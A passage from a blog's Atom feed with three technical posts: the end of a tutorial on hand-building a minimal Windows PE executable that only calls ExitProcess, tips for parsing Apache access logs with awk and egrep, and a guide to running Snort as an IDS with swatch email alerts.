dword values. We will keep them the same for simplicity, "&lt;span style="color: rgb(51, 255, 255);"&gt;00 10 00 00&lt;/span&gt;" and "&lt;span style="color: rgb(51, 255, 255);"&gt;00 10 00 00&lt;/span&gt;". It is hard to find the right words to explain section and file alignment, although the concept is quite simple, but i'll try. Imagine a executable file with three sections, each named A, B and C. Sections are like containers, each with a different purpose. Section A can contain the assembly code, section B can contain strings that the programmer hard coded (like passwords, error messages, message box strings, etc and section C can also contain other data. Its not hard to tell that these sections are treated differently, one can be interpreted as code, the others as data. Because of this, sections have attributes, like read, write, execute, etc. Section/file alignment aids the windows loader in identifying the boundaries of each section, so that it correctly knows which parts should be executable and which parts shouldn't. For instance, we have a base image that we defined earlier of 0x00400000. We can have a section alignment of 0x1000. What this means is that we can have a section located at 0x00401000. Lets say section A had 0x50 bytes of code in its section, because of section alignment value of 0x1000, the next section, section B, will reside at 0x00402000. What if section B had 0x15o0 bytes of data. Doing the math, since section B starts at 0x00402000 + 0x1500 0f data, we get 0x00403500. Because thing are alingned at blocks of 0x1000 bytes, section C will begin at 0x00404000. All the while we were talking about section alignment, we were referring to how things are aligned in memory. The file alingment represents how the sections are aligned in the file. For simplicity sake, i gave it the same value as  with the section alignment.&lt;br /&gt;&lt;br /&gt;We should now be at offset 0x80. The next 28 bytes define fields that are not important to us so leave them filled with zeros.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Update:&lt;/span&gt; Actually the definition at offset 0x88 (MajorSubsystemVersion), is a necessary field. This field is two bytes and i used "&lt;span style="color: rgb(51, 255, 255);"&gt;04 00&lt;/span&gt;". Another important field is the SizeOfHeaders field at offset 0x94.  This is also an important field, and thankfully, lordpe can populate this field for us quite easily by the push of a button.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This brings us to offset 9c. This field takes a word (2 bytes) that define the subsystem (this indicates if this will be a console application or gui application, etc.). For console mode, we enter the values "&lt;span style="color: rgb(51, 255, 255);"&gt;03 00&lt;/span&gt;". The next 22 bytes can remain zero'd out. At offset 0xB4, this field represents (NumberOfRvaAndSizes) which indicates how many entries will be in the Data directory structure. I will be using the values "&lt;span style="color: rgb(51, 255, 255);"&gt;10 00 00 00&lt;/span&gt;" to indicate 0x10 which is 16 in decimal. This means the windows loader expects to find an array of 16 entries in the image data directory structure which follows next.&lt;br /&gt;&lt;br /&gt;We should be at offset 0xB8 ready to initialize our data directory structure. Each entry consists of two dwords (8 bytes). The first list an RVA and the second is a size. We are only interested in adding an import table which is the second entry in the data directory structure. Therefore the first 8 bytes will be zero's, the next 4 will contain the RVA for the import table and the next 4 will define the size of the import table (our import entry RVA will be "&lt;span style="color: rgb(51, 255, 255);"&gt;00 20 00 00&lt;/span&gt;" and we will set the size to "&lt;span style="color: rgb(51, 255, 255);"&gt;00 10 00 00&lt;/span&gt;" ). The remaining  112 bytes represent the rest of the data directory structure and will remain zero'd out. We should now have a hexdump that looks like this.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-Q10ryFDiGaM/TwC-996aXAI/AAAAAAAAABQ/cPWIP0pffYM/s1600/PE_optional_headers.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://4.bp.blogspot.com/-Q10ryFDiGaM/TwC-996aXAI/AAAAAAAAABQ/cPWIP0pffYM/s400/PE_optional_headers.png" alt="" id="BLOGGER_PHOTO_ID_5692759900797164546" border="0" /&gt;&lt;/a&gt;Next we're onto the final stage of defining our PE header. This will include the section header definitions, If you recall earlier, we defined our NumberOfSection's field in the file header section as "02 00", so therefore, we are expected to define two sections in the section header. Each section is 40 bytes so lets go ahead and add 80 bytes to our file. Again not all fields in this structure are important to us so some will remain zero'd out.&lt;br /&gt;&lt;br /&gt;We are currently at offset 0x138 where we will begin our section header definitions. The first 8 bytes are reserved for the section header name. Following good practice, we will make sure we dont use over 7 bytes, just so that our string is null terminated. We will call our first section "code" and append the remaining 8 bytes like so "&lt;span style="color: rgb(51, 255, 255);"&gt;63 6F 64 65 00 00 00 00&lt;/span&gt;". The next 4 bytes is the virtual size definition, and we will set it "&lt;span style="color: rgb(51, 255, 255);"&gt;00 10 00 00&lt;/span&gt;". The next 4 bytes is the RVA for this "code" section. We will use "&lt;span style="color: rgb(51, 255, 255);"&gt;00 10 00 00&lt;/span&gt;". Remember, RVAs get added to the base address, which in our case is 0x00400000, which will result in 0x00401000 being the location in memory where this code "section" will be found. So based on our definition so far, the virtual address for the "code" section is 0x00401000 and its size is 0x1000 (0x00401000 + 0x1000 = 0x00402000). In reality this section can be any size, but due to our definition in the section alignment field (defined in the NT optional header), the sections will always be aligned in blocks of 0x1000. Therefore our second section will begin at 0x00402000 because our section size is less than 0x1000.&lt;br /&gt;&lt;br /&gt;Ok, the next 4 bytes define the size of the raw data (data on disk or in the file, not virtual size). Lets give it "&lt;span style="color: rgb(51, 255, 255);"&gt;00 10 00 00&lt;/span&gt;". The next 4 bytes indicate the offset to this section in the file (not in memory). Lets give it "&lt;span style="color: rgb(51, 255, 255);"&gt;00 10 00 00&lt;/span&gt;". The next 12 bytes will be left with zeros. Now the last 4 bytes of our first section header definition indicates the attributes this section should have, like read, write, execute, etc. This field is quite complex and you can use LordPE to help obtain the value you need. Open up another exe in lordpe and observe the section characteristics each section of that executable posses. LordPE will give you the 4 bytes that represent the resulting characteristics of that section. You can simply copy this to your exe.&lt;br /&gt;&lt;br /&gt;Do the same for the second section header definition, but note that the RVAs and size of raw data definitions will be different. This is what your hexdump should look like at this point after adding the second section header definition.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-vDDsTRk-uW8/TwDJVgMBs8I/AAAAAAAAABc/INaTp6ptx1E/s1600/PE_section_headers.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 270px;" src="http://2.bp.blogspot.com/-vDDsTRk-uW8/TwDJVgMBs8I/AAAAAAAAABc/INaTp6ptx1E/s400/PE_section_headers.png" alt="" id="BLOGGER_PHOTO_ID_5692771300251120578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;LordPe should be able to parse your file now so open it up. LordPE can help point out your mistakes, and allow you to potentially correct them from in there.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-hEvCuYt8yBc/TwDKMh_C6qI/AAAAAAAAABo/5ewqXuEyQaQ/s1600/LorePE_1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 224px;" src="http://3.bp.blogspot.com/-hEvCuYt8yBc/TwDKMh_C6qI/AAAAAAAAABo/5ewqXuEyQaQ/s400/LorePE_1.png" alt="" id="BLOGGER_PHOTO_ID_5692772245626350242" border="0" /&gt;&lt;/a&gt;You will notice that the size of image is now 0x3000 in LordPE, even though we didn't define it. Thanks to LordPE, it was able to parse the headers and determine what the image size should be. LordPE can also calculate the SizeOfHeaders field and the checksum field automatically for us (in my tests, the checksum field was not necessary and could be left all zero'd).&lt;br /&gt;&lt;br /&gt;We have completed defining our PE headers, but we are not finished with the exe. With our two section definitions, we definied some fields, size of raw data and a pointer to raw data. According to our definitions, we should have a text and data section of size 0x1000 (4096 bytes). The text section has a pointer to raw data at file (not virtual) offset 0x1000, while the data section has a file offset of 0x2000. This means that when windows attempts to parse the file it will look at our section header definition and see that the sections are pointing to offsets that dont exist, at least at this point (our file size is not even half of 0x1000 at this point).  We will need to pad our file with bytes in accordance to what we indicated in the section headers. Since our last section is the data section, and its size was indicated to be 0x1000, our total file size should be the pointer to raw data of the &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;"data" &lt;/span&gt;section + size of raw data for the &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;"data"&lt;/span&gt; section as well (0x2000 + 0x1000 = 0x3000). Lets fill or pad our file with zero's till our file size is 0x3000.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;IMPORTANT:&lt;/span&gt; I cannot stress enough how important it is that you get this file size right. If your file was 0x3001 bytes in size or 0x2FFF (basically if its not exactly 0x3000)and you try to run your file, windows will give you an error saying that the file is not a proper exe file. Basically windows parsed the headers and found a discrepancy between what the header says the file size should be and what it actually is on disk.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-Y6PYvaAvRuw/TwDOGNxC8nI/AAAAAAAAAB0/wPfCDpgiJNU/s1600/File_with_padding.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 356px;" src="http://1.bp.blogspot.com/-Y6PYvaAvRuw/TwDOGNxC8nI/AAAAAAAAAB0/wPfCDpgiJNU/s400/File_with_padding.png" alt="" id="BLOGGER_PHOTO_ID_5692776535166218866" border="0" /&gt;&lt;/a&gt;So far, we should have a good executable that windows will be able to accept and parse. However, this program has no code and will crash. If you open up this file in a debugger like ollydbg, it will open up successfully (if you made a mistake following the steps before, ollydbg would not be able to open the file).&lt;br /&gt;You will be dropped to the address of entry point (remeber the rva was 0x1000, therefore the base address 0x00400000 + 0x1000 = 0x00401000). This is essentially the "code" section that we defined earlier. Windows is expecting to execute code here but initially, all that is there is a bunch of zero's. Therefore the program crashes. We will need to write meaningful code here. The simplest program i can think of as of this writing was to write code that simply exits. This wouldn't do anything of significance but at least our program will no longer crash as the ExitProcess kernel32 api will cause our program to exit gracefully. To get this functionality, two more things need to be done.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;1.  We need to define an image import structure for our kernel32.dll. This will have a pointer to another pointer that will point to the "ExitProcess" api found within kernel32.dll.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;2. We will need to write code that will simply call the function. Generating the relevant code can be made simple by using a debugger like olly. Here are the bytes that i used at offset 0x1000, i.e, the "code" section and also the AddressOfEntrypoint RVA. "FF 15 70 20 40 00". You can see screen shots of how i set up offset 0x1000 and 0x2000 in my file.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-SewgnB5BvA4/TwDd9shrDgI/AAAAAAAAACA/JmOcD7E89h4/s1600/code_section.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 356px;" src="http://4.bp.blogspot.com/-SewgnB5BvA4/TwDd9shrDgI/AAAAAAAAACA/JmOcD7E89h4/s400/code_section.png" alt="" id="BLOGGER_PHOTO_ID_5692793980990459394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-eep2gQhuh9E/TwDeCcfujvI/AAAAAAAAACM/zXK9j-ChLqE/s1600/data_section.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 356px;" src="http://2.bp.blogspot.com/-eep2gQhuh9E/TwDeCcfujvI/AAAAAAAAACM/zXK9j-ChLqE/s400/data_section.png" alt="" id="BLOGGER_PHOTO_ID_5692794062586679026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-jH7nh8qZfpA/TwDeIn3waKI/AAAAAAAAACY/emvQ4p9dUlM/s1600/final_debugger_view.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 214px;" src="http://1.bp.blogspot.com/-jH7nh8qZfpA/TwDeIn3waKI/AAAAAAAAACY/emvQ4p9dUlM/s400/final_debugger_view.png" alt="" id="BLOGGER_PHOTO_ID_5692794168719468706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Congratulations !!!. At this point, you should have a working PE executable file that simply just exits. If you wanted more functionality, you would need to import DLLs. Therefore, you would need to make sure that each dll has an entry in the image import descriptor structure (in our example, we only had one for kernel32.dll) and then the functions that these dlls provide must be defined like we did with "ExitProcess" (Note that function names &lt;span style="color: rgb(255, 0, 0);"&gt;ARE&lt;/span&gt; case sensitive). The rest is dependent on your assembly skills, to manipulate the registers and setup the stack for the relevant functions calls to make a reasonable program.&lt;br /&gt;&lt;br /&gt;I hope this was helpful to some and would be used as a reference for researchers. I recommend reading the following references below as they've provided me with all the necessary information that i need to succeed at this binary hackery.&lt;br /&gt;&lt;br /&gt;Resources / Good Reading:&lt;br /&gt;&lt;a href="http://mh-nexus.de/en/hxd/"&gt;Hxd hex editor&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.phreedom.org/solar/code/tinype/"&gt;Tiny Pe project&lt;/a&gt;&lt;br /&gt;&lt;a href="http://pentest.cryptocity.net/files/reversing/helsinki/reverse_engineering__pe_format.pdfLWj6A&amp;amp;cad=rja"&gt;Pentest.cryptocity.net PE format PDF&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.woodmann.com/collaborative/tools/index.php/LordPE"&gt;LordPE&lt;/a&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/magazine/bb985997.aspx"&gt;Microsoft PE Header structure definitions&lt;/a&gt;&lt;br /&gt;&lt;a href="http://mh-nexus.de/en/hxd/"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4771824864077368763?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4771824864077368763/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2012/01/binary-kung-fu-manually-create-working.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4771824864077368763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4771824864077368763'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2012/01/binary-kung-fu-manually-create-working.html' title='Binary Kung-Fu - Manually create a working windows PE file using a hexeditor'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-rbNNX2DpadY/TwCi_ZE0q1I/AAAAAAAAAA4/3e3NB05egIs/s72-c/DOS_header.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-9093568178219014087</id><published>2011-12-05T04:55:00.000-08:00</published><updated>2011-12-05T06:46:38.776-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='logs'/><category scheme='http://www.blogger.com/atom/ns#' term='awk'/><category scheme='http://www.blogger.com/atom/ns#' term='egrep'/><title type='text'>Helpful log parsing tips</title><content type='html'>Most programs and services produce logs. When a user visits an apache web server, the service will most likely keep a log of that request, along with the date and requester's ip address. Other details might be logged as well. Here us an example of some entries in a logfile:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;192.168.1.20 - - [21/Sep/2011:11:04:40 +1000] "GET / HTTP/1.0" 200 468&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;192.168.1.20 - - [21/Sep/2011:11:07:48 +1000] "GET /login.php HTTP/1.0" 200 6433 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Log files would usually contain hundreds of such entries, most, if not all of which are important to us. If there is an issue with a service, perhaps there is an entry in the logfile that can tell us why. Another scenario is where management require some statistical information. For example, how many unique IP addresses visited their website in the past hour and what pages did they visit. Or which web pages are the most frequently visited.&lt;br /&gt;&lt;br /&gt;If you look around on the web, you will be able to find tools that would retrieve most of this information for you. However, some of these tools may not have the functionality built in to retrieve all the data you require. Hence, knowing how to do things yourself might come in handy.&lt;br /&gt;&lt;br /&gt;Here are some examples. I used the following log entries in my examples.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;192.168.1.20 - - [21/Sep/2011:11:04:40 -0500] "GET / HTTP/1.0" 200 6443&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; 192.168.1.25 - - [21/Sep/2011:11:07:48  -0500] "GET /logo.gif HTTP/1.0" 200 4006&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;192.168.1.22 - - [21/Sep/2011:11:08:40  -0500] "GET /forum.php HTTP/1.0" 200 468&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; 192.168.1.20 - - [21/Sep/2011:11:08:48  -0500] "GET /sports.php HTTP/1.0" 200 98002&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;192.168.1.22 - - [21/Sep/2011:11:09:42  -0500] "GET /basketball.htm HTTP/1.0" 200 45869&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; 192.168.1.22 - - [21/Sep/2011:11:09:48  -0500] "POST /login.php HTTP/1.0" 404 501&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;192.168.1.25 - - [21/Sep/2011:11:09:50  -0500] "POST /login.php HTTP/1.0" 404 501&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt; 192.168.1.20 - - [21/Sep/2011:11:09:55  -0500] "GET / HTTP/1.0" 200 6433&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We can parse the unique IP addresses that visited our apache website. We can take this step further and sort these IP address by the one with the most requests. This will give you an idea of which IP address chatted the most with the server and which ones were least talkative.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255); font-family:courier new;" &gt;awk '{print $1}' access.log | sort | uniq -c | sort -nr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We can generate statistics based on HTTP &lt;a href="http://www.the-art-of-web.com/system/logstatus/"&gt;status codes&lt;/a&gt;. From there, you can see how many successful requests were made, as well as how many bad requests were made for non-existent pages or files. Based on our example log entries above, we should get 6 successful requests and 2 "file not found" requests.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255); font-family:courier new;" &gt;awk '{print $9}' access.log| sort | uniq -c | sort -rn&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To see only the log entries that genereated the HTTP status code of 404 or "file not found" requests.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255); font-family:courier new;" &gt;awk '$9 == "404"' access.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Continuing from the last example, if we only wanted to see the IP address and the request that was made that triggered the 404 status code:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255); font-family:courier new;" &gt;awk '$9 == "404"{print $1, $7}'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lets take the last example a little further. Say management wanted to know the number of requests that resulted in a "404" status code between 11 AM to 12 PM on 21/Sep/2011.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255); font-family:courier new;" &gt;awk '$9 == "404"' access.log | egrep "21\/Sep\/2011" | awk 'substr($4,14,2) == "11"'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lastly, if you want to check how many bytes your server has served up for a particular day, awk and grep can help us agian. The number after the status code in the log entries is the size (in bytes) of the object returned to the client from the request.&lt;br /&gt;In my example, I omit the entries with status code "304". I do this because an intelligent user agent (browser) may already have the object in its cache.  A 304 indicates that the cached  version has the same timestamp as the 'live' version of the file so they  don't need to download it.  If the 'live' file was newer then the  response would instead be a 200.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255); font-family:courier new;" &gt;egrep "21\/Sep\/2011" | access.log | awk '$9 != "304"{sum+=$10}END{print sum}'&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;/blockquote&gt;The result of this is in bytes. To convert to kilobytes and or megabytes, the print statement at the end would be &lt;span style="color: rgb(255, 102, 0);"&gt;{print sum/1024/1024}.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Its important to know that these techniques are not limited to only apache log files. Any log file can be parsed using the combination of grep, awk, sort, uniq and even sed (sed can be used to clean up the output). Under linux systems, the log files at /var/log can be parsed in a similar fashion with slight modifications to the parameters passed to the programs. If you wanna get fancy, you can output the data to a text file and run a php script that reads this file and outputs a nicely formatted HTML report page. &lt;span style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Resources / Good Reading:&lt;a href="http://www.the-art-of-web.com/system/logs/"&gt;&lt;br /&gt;www.the-art-of-web.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.the-art-of-web.com/system/logstatus/"&gt;status codes&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-9093568178219014087?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/9093568178219014087/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/12/helpful-log-parsing-tips.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/9093568178219014087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/9093568178219014087'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/12/helpful-log-parsing-tips.html' title='Helpful log parsing tips'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-7701805109074805315</id><published>2011-11-09T08:56:00.000-08:00</published><updated>2011-11-09T12:15:16.865-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='snort'/><category scheme='http://www.blogger.com/atom/ns#' term='IPS'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><title type='text'>Snort gets a little help from swatch</title><content type='html'>Wanna know who is attacking your network and be notified ASAP? Maybe this setup might help you. Snort is a well developed open source IDS/IPS (intrusion detection/prevention system). An IDS is basically a sniffer (like tcpdump, wireshark, etc.) that looks at all the packets on the network and keeps an eye out for only interesting information. When it sees information that might be of interest (like a tcp port scan), it will log the packets pertaining to the port scan. An IDS will only log these packets, but doesn't take the extra steps to prevent the network attack from happening. An IPS will take the role of the IDS one step farther and has the ability to perform other actions in addition to logging. These might include blocking ports, setting firewall rules to block traffic based on port or ip address, etc.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Lets start using snort.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Snort can be used as a regular sniffer, like tcpdump. See the commands below:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;# snort -dev -i eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To log the packets to a file, use the -l switch and specify a directory. Snort will create the file for you.&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;# snort -dev -i eth0 -l /root/snort/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Depending on your defaults, snort may log in Ascii mode or pcap mode. You can use the -K switch to specify (ascii, pcap or none).&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;# snort -K Ascii -dev -i eth0 -l /root/snort&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To log packets in tcpdump format you can use the -b only.&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;# snort -b -dev -i eth0 -l /root/snort&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Using snort as an IDS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is accomplished by specifying a config file on the command line.&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;# snort -c snort.conf -i eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I always like to use -A for alert mode. Basically a file gets created called alerts, and when bad traffic is seen on the network, snort will make a note of it in this alert file. There are a few options for these, but i like using the fast option (see man snort for more details). Note that two files are created, the alert file and the snort.log file. The alert file will contain syslog like log entires when an attach happens and the snort log file will contain the bad traffic data(in tcpdump format if thats the option you went with) that triggered the alerts.&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;# snort -A fast -c snort.conf -i eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The snort.conf file is well doucmented and easy to configue. Here is a very barebones config file example.&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;&lt;br /&gt;var HOME_NET any&lt;br /&gt;var EXTERNAL_NET any&lt;br /&gt;var DNS_SERVERS $HOME_NET&lt;br /&gt;var SMTP_SERVERS $HOME_NET&lt;br /&gt;var HTTP_SERVERS $HOME_NET&lt;br /&gt;var SQL_SERVERS $HOME_NET&lt;br /&gt;var TELNET_SERVERS $HOME_NET&lt;br /&gt;var HTTP_PORTS 80&lt;br /&gt;var SHELLCODE_PORTS !80&lt;br /&gt;var ORACLE_PORTS 1521&lt;br /&gt;var AIM_SERVERS [64.12.24.0/24,64.12.25.0/24,64.12.26.14/24,64.12.28.0/24,64.12.29.0/24,64.12.161.0/24,64.12.163.0/24,205.188.5.0/24,205.188.9.0/24]&lt;br /&gt;var RULE_PATH $IDS_BASE/rules&lt;br /&gt;&lt;br /&gt;include /etc/snort/classification.config&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;include $RULE_PATH/icmp.rules&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;The above example snort.conf will look for bad icmp traffic. If you ping your loopback interface, snort will generate some alerts and start logging this traffic.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;How swatch can help you.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I blogged about swatch already so you can refer to my posting on that. Swatch can be used to monitor a snort alert file and be configured to send an email to you when a specific alert gets triggered. See the video below for a demonstration.&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://player.vimeo.com/video/31862621?title=0&amp;amp;byline=0&amp;amp;portrait=0" webkitallowfullscreen="" allowfullscreen="" frameborder="0" height="230" width="400"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/31862621"&gt;combining snort and swatch&lt;/a&gt; from &lt;a href="http://vimeo.com/aerokid240"&gt;aerokid240&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;One issue that will arise is that you may start recieving multiple emails. For example, if 4 ping packets were sent from the loopback address, then 4 alerts should be triggered by snort. Therefore, when swatch is notified about these alerts, 4 emails would be sent instead of just one. So if snort sets the same alert 100 times, you can expect 100 emails in this setup. I'm sure you can set swatch to run a script that would overcome this problem, but that is beyond what i wanted to demonstrate in this post.&lt;br /&gt;&lt;br /&gt;Resources/Good Reading:&lt;br /&gt;&lt;a href="http://www.snort.org/"&gt;snort.org&lt;/a&gt;&lt;br /&gt;&lt;a href="http://pauldotcom.com/wiki/index.php/Episode105"&gt;pauldotcom.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-7701805109074805315?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/7701805109074805315/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2011/11/snort-gets-little-help-from-swatch.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7701805109074805315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7701805109074805315'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2011/11/snort-gets-little-help-from-swatch.html' title='Snort gets a little help from swatch'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5210163145546695189</id><published>2011-11-08T11:19:00.000-08:00</published><updated>2011-11-08T12:14:26.714-08:00</updated><category 